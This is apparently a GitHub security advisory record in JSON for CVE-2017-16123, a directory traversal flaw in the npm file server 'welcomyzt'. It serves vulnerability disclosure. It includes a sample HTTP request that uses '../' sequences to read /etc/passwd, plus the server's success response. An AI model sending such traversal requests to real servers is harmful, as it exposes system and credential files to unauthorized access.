{"id":"GHSA-8fv7-vm2p-5495","summary":"Directory Traversal in welcomyzt","details":"`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","aliases":["CVE-2017-16123"],"modified":"2023-11-08T03:59:06.195567Z","published":"2020-09-01T17:23:53Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2020-08-31T18:21:24Z","nvd_published_at":null},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16123"},{"type":"WEB","url":"https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket"},{"type":"WEB","url":"https://www.npmjs.com/advisories/388"}],"affected":[{"package":{"name":"welcomyzt","ecosystem":"npm","purl":"pkg:npm/welcomyzt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-8fv7-vm2p-5495/GHSA-8fv7-vm2p-5495.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}